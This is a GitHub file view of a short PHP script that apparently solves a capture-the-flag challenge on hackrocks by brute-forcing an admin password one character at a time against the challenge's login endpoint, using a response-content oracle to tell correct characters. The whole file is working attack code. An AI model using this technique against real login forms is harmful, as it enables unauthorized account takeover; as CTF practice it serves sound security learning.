-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathscript.php
42 lines (30 loc) · 1.04 KB
/
script.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
require 'vendor/autoload.php';
use GuzzleHttp\Client;
$client = new Client();
$characters= str_split("abc8defghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456790");
$password = '';
function newResponse($current_password) {
global $client;
$response = $client->request('POST', 'https://challenges.hackrocks.com/the-chattering-programmer/login', [
'form_params' => [
'login' => 'admin',
'password' => $current_password
],
'delay' => 250
]);
$pos = strpos($response->getBody(),'1');
return $pos;
}
for ($i = 0; $i < 24; $i++) {
$current_password = '........................';
foreach ($characters as $character) {
$current_password[$i] = $character;
if (newResponse($current_password)) {
var_dump($current_password);
$password .= $character;
break;
}
}
}
var_dump($password);